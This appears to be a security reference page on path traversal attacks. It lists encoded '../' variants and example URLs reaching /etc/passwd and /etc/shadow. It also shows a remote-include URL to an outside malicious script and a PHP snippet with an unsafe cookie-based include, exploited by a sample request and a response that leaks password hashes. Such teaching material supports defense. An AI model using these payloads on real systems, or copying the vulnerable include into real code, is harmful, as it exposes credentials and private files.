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Path Traversal
- This is an Attack. To view all attacks, please see the Attack Category page.
Last revision (mm/dd/yy): 08/5/2008
Description
This attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it’s possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The idea is to use “../” sequences to move up to root directory, thus permitting to navigate thru file system. This attack can be executed with an external malicious code injected on the path, like the Resource Injection attack, but it’s a Path Traversal attack.
This attack is also named of “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
To perform this attack it’s not necessary to use a specific tool; attackers typically use a spider/crawler to detect all URLs available.
Request variations
Encoding and double encoding:
%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
Unicode/UTF-8 Encoding (only for systems support UTF-8 sequences)
..%c0%af represents ../ ..%c1%9c represents ..\
OS specific
UNIX
Root directory: “ / “ Directory separator: “ / “
WINDOWS
Root directory: “ <partition letter> : \ “ Directory separator: “ / “ or “ \ ”
Severity
High
Likelihood of exploitation
High
Examples
Example 1
The following examples show how the application deals with the resources in use.
http://some_site.com.br/get-files.jsp?file=report.pdf http://some_site.com.br/get-page.php?home=aaa.html http://some_site.com.br/some-page.asp?page=index.html
In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. Ex:
http://some_site.com.br/get-files?file=../../../../some dir/some file
Or
http://some_site.com.br/../../../../some dir/some file
The following URLs show examples of *NIX password file exploitation:
http://some_site.com.br/../../../../etc/shadow http://some_site.com.br/get-files?file=/etc/passwd
Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in all disc.
Example 2
It's also possible to include files, and scripts, located on external website,
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
Example 3
These examples illustrate a case when an attacker make the server show the CGI source code;
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Example 4
This example was extracted from: Wikipedia - Directory Traversal
A typical example of vulnerable application code is:
<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
An attack against this system could be to send the following HTTP request:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Generating a server response such as:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.
UNIX etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.
Absolute Path Traversal
- The following URLs maybe are vulnerable to this attack:
http://testsite.com/get.php?f=list http://testsite.com/get.cgi?f=2 http://testsite.com/get.asp?f=test
- An attacker can execute this attack is like this:
http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc http://testsite.com/get.asp?f=/etc/passwd
- When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).
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